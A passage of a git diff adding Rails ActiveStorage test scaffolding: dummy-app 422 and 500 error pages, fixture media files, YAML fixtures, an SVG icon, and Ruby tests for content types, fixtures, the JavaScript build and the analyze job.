+        <svg height="172" viewBox="0 0 480 172" width="480" xmlns="http://www.w3.org/2000/svg"><path d="m124.48 3.00509-45.6889 100.02991h26.2239v-28.1168h38.119v28.1168h21.628v35.145h-21.628v30.82h-37.308v-30.82h-72.1833v-31.901l50.2851-103.27391zm130.453 51.63681c0-8.9215-6.218-15.4099-15.681-15.4099-10.273 0-15.95 7.5698-16.491 16.4913h-44.608c3.244-30.8199 25.683-55.421707 61.099-55.421707 36.498 0 59.477 20.816907 59.477 51.636807 0 21.3577-14.869 36.7676-31.901 52.7186l-27.305 27.035h59.747v37.308h-120.306v-27.846l57.044-56.7736c11.084-11.8954 18.925-20.0059 18.925-29.7385zm140.455 0c0-8.9215-6.218-15.4099-15.68-15.4099-10.274 0-15.951 7.5698-16.492 16.4913h-44.608c3.245-30.8199 25.684-55.421707 61.1-55.421707 36.497 0 59.477 20.816907 59.477 51.636807 0 21.3577-14.87 36.7676-31.902 52.7186l-27.305 27.035h59.747v37.308h-120.305v-27.846l57.043-56.7736c11.085-11.8954 18.925-20.0059 18.925-29.7385z" fill="#f0eff0"/><path d="m19.3936 103.554c-8.9715 0-14.84183-5.0952-14.84183-14.4544v-20.1029h8.86083v19.3276c0 4.8181 2.2706 7.3102 5.981 7.3102 3.6551 0 5.9257-2.4921 5.9257-7.3102v-19.3276h8.8608v20.1583c0 9.3038-5.8149 14.399-14.7865 14.399zm18.734-.554v-24.921h8.6947v2.1598c1.3845-1.5506 3.8212-2.7136 6.701-2.7136 5.538 0 8.8054 3.5997 8.8054 9.1377v16.3371h-8.6393v-14.2327c0-2.049-1.0522-3.5443-3.2674-3.5443-1.7168 0-3.1567.9969-3.5997 2.7136v15.0634zm36.8584-1.994v10.799h-8.6946v-33.726h8.6946v1.9937c1.163-1.3291 3.5997-2.5475 6.1472-2.5475 7.1994 0 11.1314 5.8703 11.1314 13.0143 0 7.0886-3.932 13.0145-11.1314 13.0145-2.5475 0-4.9842-1.219-6.1472-2.548zm0-13.7893v6.5902c.6646 1.3845 2.1599 2.326 3.8213 2.326 2.9905 0 4.7626-2.3814 4.7626-5.5934s-1.7721-5.6488-4.7626-5.6488c-1.7168 0-3.1567.9969-3.8213 2.326zm36.789-9.2485v8.3624c-1.052-.5538-2.215-.7753-3.6-.7753-2.381 0-3.987 1.0522-4.43 2.8244v14.6203h-8.6949v-24.921h8.6949v2.2152c1.218-1.6614 3.156-2.769 5.648-2.769 1.108 0 1.994.2215 2.382.443zm26.769 12.5713c0 7.6978-5.15 13.0145-12.737 13.0145-7.532 0-12.738-5.3167-12.738-13.0145s5.206-13.0143 12.738-13.0143c7.587 0 12.737 5.3165 12.737 13.0143zm-8.528 0c0-3.4336-1.496-5.8703-4.209-5.8703-2.659 0-4.154 2.4367-4.154 5.8703s1.495 5.8149 4.154 5.8149c2.713 0 4.209-2.3813 4.209-5.8149zm10.352 0c0-7.6978 5.095-13.0143 12.571-13.0143 6.701 0 10.855 3.9874 11.574 9.8023h-8.417c-.222-1.4953-1.385-2.6029-3.157-2.6029-2.437 0-3.987 2.2706-3.987 5.8149s1.55 5.7595 3.987 5.7595c1.772 0 2.935-1.0522 3.157-2.5475h8.417c-.719 5.7596-4.873 9.8025-11.574 9.8025-7.476 0-12.571-5.3167-12.571-13.0145zm42.013 3.7658h8.03c-.886 5.7597-5.206 9.2487-11.685 9.2487-7.643 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.316-13.0143 12.516-13.0143 7.642 0 11.962 5.095 11.962 12.5159v2.1598h-16.116c.277 2.9905 1.828 4.5965 4.32 4.5965 1.772 0 3.156-.7753 3.655-2.4921zm-3.821-10.0237c-2.049 0-3.434 1.2737-3.988 3.5997h7.532c-.111-2.0491-1.385-3.5997-3.544-3.5997zm13.428 11.0206h8.473c.387 1.3845 1.606 2.1598 3.156 2.1598 1.44 0 2.548-.5538 2.548-1.7168 0-.9414-.72-1.2737-1.938-1.5506l-4.874-.9969c-4.153-.886-6.867-2.8797-6.867-7.2547 0-5.3165 4.763-8.4178 10.633-8.4178 6.812 0 10.522 3.1567 11.297 8.0855h-8.03c-.277-1.0522-1.052-1.9937-3.046-1.9937-1.273 0-2.326.5538-2.326 1.6614 0 .7753.554 1.163 1.717 1.3845l4.929 1.163c4.541 1.0522 6.978 3.4335 6.978 7.4763 0 5.3168-4.818 8.2518-10.91 8.2518-6.369 0-10.965-2.88-11.74-8.2518zm24.269 0h8.474c.387 1.3845 1.606 2.1598 3.156 2.1598 1.44 0 2.548-.5538 2.548-1.7168 0-.9414-.72-1.2737-1.939-1.5506l-4.873-.9969c-4.154-.886-6.867-2.8797-6.867-7.2547 0-5.3165 4.763-8.4178 10.633-8.4178 6.812 0 10.522 3.1567 11.297 8.0855h-8.03c-.277-1.0522-1.052-1.9937-3.046-1.9937-1.273 0-2.326.5538-2.326 1.6614 0 .7753.554 1.163 1.717 1.3845l4.929 1.163c4.541 1.0522 6.978 3.4335 6.978 7.4763 0 5.3168-4.818 8.2518-10.91 8.2518-6.369 0-10.965-2.88-11.741-8.2518zm47.918 7.6978h-8.363v-1.274c-.831.831-3.323 1.717-5.981 1.717-4.929 0-9.082-2.769-9.082-8.0301 0-4.818 4.153-7.9193 9.581-7.9193 2.049 0 4.485.6646 5.482 1.3845v-1.606c0-1.606-.941-2.9905-3.046-2.9905-1.606 0-2.547.7199-2.935 1.8275h-8.196c.72-4.8181 4.984-8.6393 11.408-8.6393 7.089 0 11.132 3.7659 11.132 10.2453zm-8.363-6.9779v-1.4399c-.554-1.0522-2.049-1.7167-3.655-1.7167-1.717 0-3.434.7199-3.434 2.3813 0 1.7168 1.717 2.4367 3.434 2.4367 1.606 0 3.101-.6645 3.655-1.6614zm20.742 4.9839v1.994h-8.695v-35.997h8.695v13.0697c1.163-1.3291 3.6-2.5475 6.147-2.5475 7.2 0 11.132 5.8149 11.132 13.0143s-3.932 13.0145-11.132 13.0145c-2.547 0-4.984-1.219-6.147-2.548zm0-13.7893v6.5902c.665 1.3845 2.105 2.326 3.821 2.326 2.991 0 4.763-2.3814 4.763-5.5934s-1.772-5.6488-4.763-5.6488c-1.661 0-3.156.9969-3.821 2.326zm28.759-20.2137v35.997h-8.695v-35.997zm19.172 27.3023h8.03c-.886 5.7597-5.206 9.2487-11.685 9.2487-7.643 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.316-13.0143 12.515-13.0143 7.643 0 11.962 5.095 11.962 12.5159v2.1598h-16.115c.277 2.9905 1.827 4.5965 4.32 4.5965 1.772 0 3.156-.7753 3.655-2.4921zm-3.822-10.0237c-2.049 0-3.433 1.2737-3.987 3.5997h7.532c-.111-2.0491-1.385-3.5997-3.545-3.5997zm25.461-15.2849h24.311v7.6424h-15.561v5.3165h14.232v7.4763h-14.232v5.8703h15.561v7.6978h-24.311zm27.942 34.0033v-24.921h8.694v2.1598c1.385-1.5506 3.822-2.7136 6.701-2.7136 5.538 0 8.806 3.5997 8.806 9.1377v16.3371h-8.639v-14.2327c0-2.049-1.053-3.5443-3.268-3.5443-1.717 0-3.157.9969-3.6 2.7136v15.0634zm29.991-8.5839v-9.5807h-3.655v-6.7564h3.655v-6.8671h8.584v6.8671h5.206v6.7564h-5.206v8.307c0 1.9383.941 2.769 2.658 2.769.942 0 1.994-.2216 2.769-.5538v7.3654c-.997.443-2.88.775-4.818.775-5.87 0-9.193-2.769-9.193-9.0819zm26.161-16.3371v24.921h-8.694v-24.921zm.61-6.7564c0 2.8244-2.271 4.652-4.929 4.652s-4.929-1.8276-4.929-4.652c0-2.8797 2.271-4.7073 4.929-4.7073s4.929 1.8276 4.929 4.7073zm5.382 23.0935v-9.5807h-3.655v-6.7564h3.655v-6.8671h8.584v6.8671h5.206v6.7564h-5.206v8.307c0 1.9383.941 2.769 2.658 2.769.941 0 1.994-.2216 2.769-.5538v7.3654c-.997.443-2.88.775-4.818.775-5.87 0-9.193-2.769-9.193-9.0819zm29.22 17.3889h-8.584l3.655-9.414-9.303-24.312h9.026l4.763 14.1773 4.652-14.1773h8.639z" fill="#d30001"/></svg>
+      </header>
+      <article>
+        <p><strong>The change you wanted was rejected.</strong> Maybe you tried to change something you didn't have access to. If you're the application owner check the logs for more information.</p>
+      </article>
+    </main>
+
+  </body>
+
+</html>
diff --git a/activestorage/test/dummy/public/500.html b/activestorage/test/dummy/public/500.html
new file mode 100644
index 0000000000000..318723853a010
--- /dev/null
+++ b/activestorage/test/dummy/public/500.html
@@ -0,0 +1,114 @@
+<!doctype html>
+
+<html lang="en">
+
+  <head>
+
+    <title>We're sorry, but something went wrong (500 Internal Server Error)</title>
+
+    <meta charset="utf-8">
+    <meta name="viewport" content="initial-scale=1, width=device-width">
+    <meta name="robots" content="noindex, nofollow">
+
+    <style>
+
+      *, *::before, *::after {
+        box-sizing: border-box;
+      }
+
+      * {
+        margin: 0;
+      }
+
+      html {
+        font-size: 16px;
+      }
+
+      body {
+        background: #FFF;
+        color: #261B23;
+        display: grid;
+        font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, Aptos, Roboto, "Segoe UI", "Helvetica Neue", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+        font-size: clamp(1rem, 2.5vw, 2rem);
+        -webkit-font-smoothing: antialiased;
+        font-style: normal;
+        font-weight: 400;
+        letter-spacing: -0.0025em;
+        line-height: 1.4;
+        min-height: 100vh;
+        place-items: center;
+        text-rendering: optimizeLegibility;
+        -webkit-text-size-adjust: 100%;
+      }
+
+      a {
+        color: inherit;
+        font-weight: 700;
+        text-decoration: underline;
+        text-underline-offset: 0.0925em;
+      }
+
+      b, strong {
+        font-weight: 700;
+      }
+
+      i, em {
+        font-style: italic;
+      }
+
+      main {
+        display: grid;
+        gap: 1em;
+        padding: 2em;
+        place-items: center;
+        text-align: center;
+      }
+
+      main header {
+        width: min(100%, 12em);
+      }
+
+      main header svg {
+        height: auto;
+        max-width: 100%;
+        width: 100%;
+      }
+
+      main article {
+        width: min(100%, 30em);
+      }
+
+      main article p {
+        font-size: 75%;
+      }
+
+      main article br {
+
+        display: none;
+
+        @media(min-width: 48em) {
+          display: inline;
+        }
+
+      }
+
+    </style>
+
+  </head>
+
+  <body>
+
+    <!-- This file lives in public/500.html -->
+
+    <main>
+      <header>
+        <svg height="172" viewBox="0 0 480 172" width="480" xmlns="http://www.w3.org/2000/svg"><path d="m101.23 93.8427c-8.1103 0-15.4098 3.7849-19.7354 8.3813h-36.2269v-99.21891h103.8143v37.03791h-68.3984v24.8722c5.1366-2.7035 15.1396-5.9477 24.6014-5.9477 35.146 0 56.233 22.7094 56.233 55.4215 0 34.605-23.791 57.315-60.558 57.315-37.8492 0-61.64-22.169-63.8028-55.963h42.9857c1.0814 10.814 9.1919 19.195 21.6281 19.195 11.355 0 19.465-8.381 19.465-20.547 0-11.625-7.299-20.5463-20.006-20.5463zm138.833 77.8613c-40.822 0-64.884-35.146-64.884-85.7015 0-50.5554 24.062-85.700907 64.884-85.700907 40.823 0 64.884 35.145507 64.884 85.700907 0 50.5555-24.061 85.7015-64.884 85.7015zm0-133.2831c-17.572 0-22.709 21.8984-22.709 47.5816 0 25.6835 5.137 47.5815 22.709 47.5815 17.303 0 22.71-21.898 22.71-47.5815 0-25.6832-5.407-47.5816-22.71-47.5816zm140.456 133.2831c-40.823 0-64.884-35.146-64.884-85.7015 0-50.5554 24.061-85.700907 64.884-85.700907 40.822 0 64.884 35.145507 64.884 85.700907 0 50.5555-24.062 85.7015-64.884 85.7015zm0-133.2831c-17.573 0-22.71 21.8984-22.71 47.5816 0 25.6835 5.137 47.5815 22.71 47.5815 17.302 0 22.709-21.898 22.709-47.5815 0-25.6832-5.407-47.5816-22.709-47.5816z" fill="#f0eff0"/><path d="m23.1377 68.9967v34.0033h-8.9162v-34.0033zm4.3157 34.0033v-24.921h8.6947v2.1598c1.3845-1.5506 3.8212-2.7136 6.701-2.7136 5.538 0 8.8054 3.5997 8.8054 9.1377v16.3371h-8.6393v-14.2327c0-2.049-1.0522-3.5443-3.2674-3.5443-1.7168 0-3.1567.9969-3.5997 2.7136v15.0634zm29.9913-8.5839v-9.5807h-3.655v-6.7564h3.655v-6.8671h8.5839v6.8671h5.2058v6.7564h-5.2058v8.307c0 1.9383.9415 2.769 2.6583 2.769.9414 0 1.9937-.2216 2.769-.5538v7.3654c-.9969.443-2.8798.775-4.8181.775-5.8703 0-9.1931-2.769-9.1931-9.0819zm32.3666-.1108h8.0301c-.8861 5.7597-5.2057 9.2487-11.6852 9.2487-7.6424 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.3165-13.0143 12.5159-13.0143 7.6424 0 11.9621 5.095 11.9621 12.5159v2.1598h-16.1156c.2769 2.9905 1.8275 4.5965 4.3196 4.5965 1.7722 0 3.1567-.7753 3.6551-2.4921zm-3.8212-10.0237c-2.0491 0-3.4336 1.2737-3.9874 3.5997h7.5317c-.1107-2.0491-1.3845-3.5997-3.5443-3.5997zm31.4299-6.3134v8.3624c-1.052-.5538-2.215-.7753-3.599-.7753-2.382 0-3.988 1.0522-4.431 2.8244v14.6203h-8.694v-24.921h8.694v2.2152c1.219-1.6614 3.157-2.769 5.649-2.769 1.108 0 1.994.2215 2.381.443zm2.949 25.0318v-24.921h8.694v2.1598c1.385-1.5506 3.821-2.7136 6.701-2.7136 5.538 0 8.806 3.5997 8.806 9.1377v16.3371h-8.64v-14.2327c0-2.049-1.052-3.5443-3.267-3.5443-1.717 0-3.157.9969-3.6 2.7136v15.0634zm50.371 0h-8.363v-1.274c-.83.831-3.323 1.717-5.981 1.717-4.929 0-9.082-2.769-9.082-8.0301 0-4.818 4.153-7.9193 9.581-7.9193 2.049 0 4.485.6646 5.482 1.3845v-1.606c0-1.606-.941-2.9905-3.046-2.9905-1.606 0-2.547.7199-2.935 1.8275h-8.196c.72-4.8181 4.984-8.6393 11.408-8.6393 7.089 0 11.132 3.7659 11.132 10.2453zm-8.363-6.9779v-1.4399c-.554-1.0522-2.049-1.7167-3.655-1.7167-1.717 0-3.433.7199-3.433 2.3813 0 1.7168 1.716 2.4367 3.433 2.4367 1.606 0 3.101-.6645 3.655-1.6614zm20.742-29.0191v35.997h-8.694v-35.997zm13.036 25.9178h9.248c.72 2.326 2.714 3.489 5.483 3.489 2.713 0 4.596-1.163 4.596-3.2674 0-1.6061-1.052-2.326-3.212-2.8244l-6.534-1.3845c-4.985-1.1076-8.751-3.7105-8.751-9.47 0-6.6456 5.538-11.0206 13.07-11.0206 8.307 0 13.014 4.5411 13.956 10.4114h-8.695c-.72-1.8829-2.27-3.3228-5.205-3.3228-2.548 0-4.265 1.1076-4.265 2.9905 0 1.4953 1.052 2.326 2.825 2.7137l6.645 1.5506c5.815 1.3845 9.027 4.5412 9.027 9.8023 0 6.9778-5.87 10.9654-13.291 10.9654-8.141 0-13.679-3.9322-14.897-10.6332zm46.509 1.3845h8.031c-.887 5.7597-5.206 9.2487-11.686 9.2487-7.642 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.317-13.0143 12.516-13.0143 7.643 0 11.962 5.095 11.962 12.5159v2.1598h-16.115c.277 2.9905 1.827 4.5965 4.319 4.5965 1.773 0 3.157-.7753 3.655-2.4921zm-3.821-10.0237c-2.049 0-3.433 1.2737-3.987 3.5997h7.532c-.111-2.0491-1.385-3.5997-3.545-3.5997zm31.431-6.3134v8.3624c-1.053-.5538-2.216-.7753-3.6-.7753-2.381 0-3.988 1.0522-4.431 2.8244v14.6203h-8.694v-24.921h8.694v2.2152c1.219-1.6614 3.157-2.769 5.649-2.769 1.108 0 1.994.2215 2.382.443zm18.288 25.0318h-7.809l-9.47-24.921h8.861l4.763 14.288 4.652-14.288h8.528zm25.614-8.6947h8.03c-.886 5.7597-5.206 9.2487-11.685 9.2487-7.642 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.316-13.0143 12.516-13.0143 7.642 0 11.962 5.095 11.962 12.5159v2.1598h-16.116c.277 2.9905 1.828 4.5965 4.32 4.5965 1.772 0 3.157-.7753 3.655-2.4921zm-3.821-10.0237c-2.049 0-3.434 1.2737-3.988 3.5997h7.532c-.111-2.0491-1.384-3.5997-3.544-3.5997zm31.43-6.3134v8.3624c-1.052-.5538-2.215-.7753-3.6-.7753-2.381 0-3.987 1.0522-4.43 2.8244v14.6203h-8.695v-24.921h8.695v2.2152c1.218-1.6614 3.157-2.769 5.649-2.769 1.107 0 1.993.2215 2.381.443zm13.703-8.9715h24.312v7.6424h-15.562v5.3165h14.232v7.4763h-14.232v5.8703h15.562v7.6978h-24.312zm44.667 8.9715v8.3624c-1.052-.5538-2.215-.7753-3.6-.7753-2.381 0-3.987 1.0522-4.43 2.8244v14.6203h-8.695v-24.921h8.695v2.2152c1.218-1.6614 3.156-2.769 5.648-2.769 1.108 0 1.994.2215 2.382.443zm19.673 0v8.3624c-1.053-.5538-2.216-.7753-3.6-.7753-2.381 0-3.987 1.0522-4.43 2.8244v14.6203h-8.695v-24.921h8.695v2.2152c1.218-1.6614 3.156-2.769 5.648-2.769 1.108 0 1.994.2215 2.382.443zm26.769 12.5713c0 7.6978-5.15 13.0145-12.737 13.0145-7.532 0-12.738-5.3167-12.738-13.0145s5.206-13.0143 12.738-13.0143c7.587 0 12.737 5.3165 12.737 13.0143zm-8.529 0c0-3.4336-1.495-5.8703-4.208-5.8703-2.659 0-4.154 2.4367-4.154 5.8703s1.495 5.8149 4.154 5.8149c2.713 0 4.208-2.3813 4.208-5.8149zm28.082-12.5713v8.3624c-1.052-.5538-2.215-.7753-3.6-.7753-2.381 0-3.987 1.0522-4.43 2.8244v14.6203h-8.695v-24.921h8.695v2.2152c1.218-1.6614 3.157-2.769 5.649-2.769 1.107 0 1.993.2215 2.381.443z" fill="#d30001"/></svg>
+      </header>
+      <article>
+        <p><strong>We're sorry, but something went wrong.</strong><br> If you're the application owner check the logs for more information.</p>
+      </article>
+    </main>
+
+  </body>
+
+</html>
diff --git a/activestorage/test/dummy/public/apple-touch-icon-precomposed.png b/activestorage/test/dummy/public/apple-touch-icon-precomposed.png
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/activestorage/test/dummy/public/apple-touch-icon.png b/activestorage/test/dummy/public/apple-touch-icon.png
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/activestorage/test/dummy/public/favicon.ico b/activestorage/test/dummy/public/favicon.ico
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/activestorage/test/dummy/storage/.keep b/activestorage/test/dummy/storage/.keep
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/activestorage/test/engine_test.rb b/activestorage/test/engine_test.rb
new file mode 100644
index 0000000000000..5565af8079149
--- /dev/null
+++ b/activestorage/test/engine_test.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+class ActiveStorage::EngineTest < ActiveSupport::TestCase
+  test "all default content types are recognized by marcel" do
+    ActiveStorage.variable_content_types.each do |content_type|
+      assert_equal content_type, Marcel::Magic.new(content_type).type
+    end
+
+    ActiveStorage.web_image_content_types.each do |content_type|
+      assert_equal content_type, Marcel::Magic.new(content_type).type
+    end
+
+    ActiveStorage.content_types_to_serve_as_binary.each do |content_type|
+      assert_equal content_type, Marcel::Magic.new(content_type).type
+    end
+
+    ActiveStorage.content_types_allowed_inline.each do |content_type|
+      assert_equal content_type, Marcel::Magic.new(content_type).type
+    end
+  end
+
+  test "image/bmp is a default content type" do
+    assert_includes ActiveStorage.variable_content_types, "image/bmp"
+  end
+
+  test "true is the default touch_attachment_records value" do
+    assert_equal true, ActiveStorage.touch_attachment_records
+  end
+end
diff --git a/activestorage/test/fixture_set_test.rb b/activestorage/test/fixture_set_test.rb
new file mode 100644
index 0000000000000..fba2404d9d46e
--- /dev/null
+++ b/activestorage/test/fixture_set_test.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+class ActiveStorage::FixtureSetTest < ActiveSupport::TestCase
+  fixtures :all
+
+  def test_active_storage_blob
+    user = users(:first)
+
+    avatar = user.avatar
+
+    assert_equal "image/jpeg+override", avatar.blob.content_type
+    assert_equal "racecar.jpg", avatar.blob.filename.to_s
+    assert_equal :local, avatar.blob.service.name
+    avatar.blob.open { |file| assert FileUtils.identical?(file, file_fixture("racecar.jpg")) }
+  end
+
+  def test_active_storage_attachment
+    user = users(:first)
+
+    avatar = user.avatar
+
+    assert_not_predicate avatar, :blank?
+    assert_predicate avatar, :attached?
+    assert_predicate avatar.attachment, :present?
+  end
+
+  def test_active_storage_metadata
+    user = users(:first)
+
+    avatar = user.avatar.tap(&:analyze)
+
+    assert avatar.metadata["identified"]
+    assert avatar.metadata["analyzed"]
+  end
+end
diff --git a/activestorage/test/fixtures/active_storage/attachments.yml b/activestorage/test/fixtures/active_storage/attachments.yml
new file mode 100644
index 0000000000000..1586f3d022fb6
--- /dev/null
+++ b/activestorage/test/fixtures/active_storage/attachments.yml
@@ -0,0 +1,4 @@
+first_avatar_attachment:
+  name: avatar
+  record: first (User)
+  blob: first_avatar_blob
diff --git a/activestorage/test/fixtures/active_storage/blobs.yml b/activestorage/test/fixtures/active_storage/blobs.yml
new file mode 100644
index 0000000000000..230abdd93eeec
--- /dev/null
+++ b/activestorage/test/fixtures/active_storage/blobs.yml
@@ -0,0 +1,4 @@
+first_avatar_blob: <%= ActiveStorage::FixtureSet.blob(
+  filename: "racecar.jpg",
+  content_type: "image/jpeg+override"
+) %>
diff --git a/activestorage/test/fixtures/files/audio.mp3 b/activestorage/test/fixtures/files/audio.mp3
new file mode 100644
index 0000000000000..9e87b4f51cf77
Binary files /dev/null and b/activestorage/test/fixtures/files/audio.mp3 differ
diff --git a/activestorage/test/fixtures/files/colors.bmp b/activestorage/test/fixtures/files/colors.bmp
new file mode 100644
index 0000000000000..3cc1e8764d4b8
Binary files /dev/null and b/activestorage/test/fixtures/files/colors.bmp differ
diff --git a/activestorage/test/fixtures/files/cropped.pdf b/activestorage/test/fixtures/files/cropped.pdf
new file mode 100644
index 0000000000000..8a54a1008df20
Binary files /dev/null and b/activestorage/test/fixtures/files/cropped.pdf differ
diff --git a/activestorage/test/fixtures/files/empty_file.txt b/activestorage/test/fixtures/files/empty_file.txt
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/activestorage/test/fixtures/files/favicon.ico b/activestorage/test/fixtures/files/favicon.ico
new file mode 100644
index 0000000000000..87192a8a07a7b
Binary files /dev/null and b/activestorage/test/fixtures/files/favicon.ico differ
diff --git a/activestorage/test/fixtures/files/icon.psd b/activestorage/test/fixtures/files/icon.psd
new file mode 100644
index 0000000000000..631fceeaab1b0
Binary files /dev/null and b/activestorage/test/fixtures/files/icon.psd differ
diff --git a/activestorage/test/fixtures/files/icon.svg b/activestorage/test/fixtures/files/icon.svg
new file mode 100644
index 0000000000000..6cfb0e241eb80
--- /dev/null
+++ b/activestorage/test/fixtures/files/icon.svg
@@ -0,0 +1,13 @@
+<!-- The XML declaration is intentionally omitted. -->
+<svg width="792px" height="584px" viewBox="0 0 792 584" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+    <path d="M9.51802657,28.724593 C9.51802657,18.2155955 18.1343454,9.60822622 28.6542694,9.60822622 L763.245541,9.60822622 C773.765465,9.60822622 782.381784,18.2155955 782.381784,28.724593 L782.381784,584 L792,584 L792,28.724593 C792,12.911054 779.075522,0 763.245541,0 L28.7544592,0 C12.9244782,0 0,12.911054 0,28.724593 L0,584 L9.61821632,584 C9.51802657,584 9.51802657,28.724593 9.51802657,28.724593 L9.51802657,28.724593 Z" id="Shape" opacity="0.3" fill="#CCCCCC"></path>
+    <circle id="Oval" fill="#FFCC33" cx="119.1" cy="147.2" r="33"></circle>
+    <circle id="Oval" fill="#3399FF" cx="119.1" cy="281.1" r="33"></circle>
+    <circle id="Oval" fill="#FF3333" cx="676.1" cy="376.8" r="33"></circle>
+    <circle id="Oval" fill="#FFCC33" cx="119.1" cy="477.2" r="33"></circle>
+    <rect id="Rectangle-path" opacity="0.75" fill="#CCCCCC" x="176.5" y="130.5" width="442.1" height="33.5"></rect>
+    <rect id="Rectangle-path" opacity="0.75" fill="#CCCCCC" x="176.5" y="183.1" width="442.1" height="33.5"></rect>
+    <rect id="Rectangle-path" opacity="0.75" fill="#CCCCCC" x="176.5" y="265.8" width="442.1" height="33.5"></rect>
+    <rect id="Rectangle-path" opacity="0.75" fill="#CCCCCC" x="176.5" y="363.4" width="442.1" height="33.5"></rect>
+    <rect id="Rectangle-path" opacity="0.75" fill="#CCCCCC" x="176.5" y="465.3" width="442.1" height="33.5"></rect>
+</svg>
diff --git a/activestorage/test/fixtures/files/image.gif b/activestorage/test/fixtures/files/image.gif
new file mode 100644
index 0000000000000..90c05f671c3d8
Binary files /dev/null and b/activestorage/test/fixtures/files/image.gif differ
diff --git a/activestorage/test/fixtures/files/racecar.jpg b/activestorage/test/fixtures/files/racecar.jpg
new file mode 100644
index 0000000000000..934b4caa22704
Binary files /dev/null and b/activestorage/test/fixtures/files/racecar.jpg differ
diff --git a/activestorage/test/fixtures/files/racecar.tif b/activestorage/test/fixtures/files/racecar.tif
new file mode 100644
index 0000000000000..906dc15d1874b
Binary files /dev/null and b/activestorage/test/fixtures/files/racecar.tif differ
diff --git a/activestorage/test/fixtures/files/racecar_rotated.jpg b/activestorage/test/fixtures/files/racecar_rotated.jpg
new file mode 100644
index 0000000000000..89e6d54f98799
Binary files /dev/null and b/activestorage/test/fixtures/files/racecar_rotated.jpg differ
diff --git a/activestorage/test/fixtures/files/report.pdf b/activestorage/test/fixtures/files/report.pdf
new file mode 100644
index 0000000000000..cccb9b5d6497c
Binary files /dev/null and b/activestorage/test/fixtures/files/report.pdf differ
diff --git a/activestorage/test/fixtures/files/rotated_hdr_video.mov b/activestorage/test/fixtures/files/rotated_hdr_video.mov
new file mode 100644
index 0000000000000..c1a04b7cdb65e
Binary files /dev/null and b/activestorage/test/fixtures/files/rotated_hdr_video.mov differ
diff --git a/activestorage/test/fixtures/files/rotated_video.mp4 b/activestorage/test/fixtures/files/rotated_video.mp4
new file mode 100644
index 0000000000000..4c7a4e9e57850
Binary files /dev/null and b/activestorage/test/fixtures/files/rotated_video.mp4 differ
diff --git a/activestorage/test/fixtures/files/valley.webp b/activestorage/test/fixtures/files/valley.webp
new file mode 100644
index 0000000000000..122741b605f31
Binary files /dev/null and b/activestorage/test/fixtures/files/valley.webp differ
diff --git a/activestorage/test/fixtures/files/video.mp4 b/activestorage/test/fixtures/files/video.mp4
new file mode 100644
index 0000000000000..8fb1c5b24d38b
Binary files /dev/null and b/activestorage/test/fixtures/files/video.mp4 differ
diff --git a/activestorage/test/fixtures/files/video.webm b/activestorage/test/fixtures/files/video.webm
new file mode 100644
index 0000000000000..ffc29d479ebc6
Binary files /dev/null and b/activestorage/test/fixtures/files/video.webm differ
diff --git a/activestorage/test/fixtures/files/video_with_rectangular_samples.mp4 b/activestorage/test/fixtures/files/video_with_rectangular_samples.mp4
new file mode 100644
index 0000000000000..12b04afc87499
Binary files /dev/null and b/activestorage/test/fixtures/files/video_with_rectangular_samples.mp4 differ
diff --git a/activestorage/test/fixtures/files/video_with_undefined_display_aspect_ratio.mp4 b/activestorage/test/fixtures/files/video_with_undefined_display_aspect_ratio.mp4
new file mode 100644
index 0000000000000..eb354e756fab6
Binary files /dev/null and b/activestorage/test/fixtures/files/video_with_undefined_display_aspect_ratio.mp4 differ
diff --git a/activestorage/test/fixtures/files/video_without_audio_stream.mp4 b/activestorage/test/fixtures/files/video_without_audio_stream.mp4
new file mode 100644
index 0000000000000..e14501b9568fd
Binary files /dev/null and b/activestorage/test/fixtures/files/video_without_audio_stream.mp4 differ
diff --git a/activestorage/test/fixtures/files/video_without_video_stream.mp4 b/activestorage/test/fixtures/files/video_without_video_stream.mp4
new file mode 100644
index 0000000000000..e6a55f868b284
Binary files /dev/null and b/activestorage/test/fixtures/files/video_without_video_stream.mp4 differ
diff --git a/activestorage/test/fixtures/users.yml b/activestorage/test/fixtures/users.yml
new file mode 100644
index 0000000000000..c9862d40cbf66
--- /dev/null
+++ b/activestorage/test/fixtures/users.yml
@@ -0,0 +1,2 @@
+first:
+  name: $LABEL
diff --git a/activestorage/test/javascript_package_test.rb b/activestorage/test/javascript_package_test.rb
new file mode 100644
index 0000000000000..778e27902b48c
--- /dev/null
+++ b/activestorage/test/javascript_package_test.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class JavascriptPackageTest < ActiveSupport::TestCase
+  def test_compiled_code_is_in_sync_with_source_code
+    compiled_files = %w[
+      app/assets/javascripts/activestorage.js
+      app/assets/javascripts/activestorage.esm.js
+    ].map do |file|
+      Pathname(file).expand_path("#{__dir__}/..")
+    end
+
+    assert_no_changes -> { compiled_files.map(&:read) } do
+      system "yarn build", exception: true
+    end
+  end
+end
diff --git a/activestorage/test/jobs/analyze_job_test.rb b/activestorage/test/jobs/analyze_job_test.rb
new file mode 100644
index 0000000000000..28f7916b065ef
--- /dev/null
+++ b/activestorage/test/jobs/analyze_job_test.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+class ActiveStorage::AnalyzeJobTest < ActiveJob::TestCase
+  setup { @blob = create_blob }
+
+  test "ignores missing blob" do
+    @blob.purge
+
+    perform_enqueued_jobs do
+      assert_nothing_raised do
+        ActiveStorage::AnalyzeJob.perform_later @blob
+      end
+    end
+  end
+end
diff --git a/activestorage/test/jobs/create_variants_job_test.rb b/activestorage/test/jobs/create_variants_job_test.rb
new file mode 100644
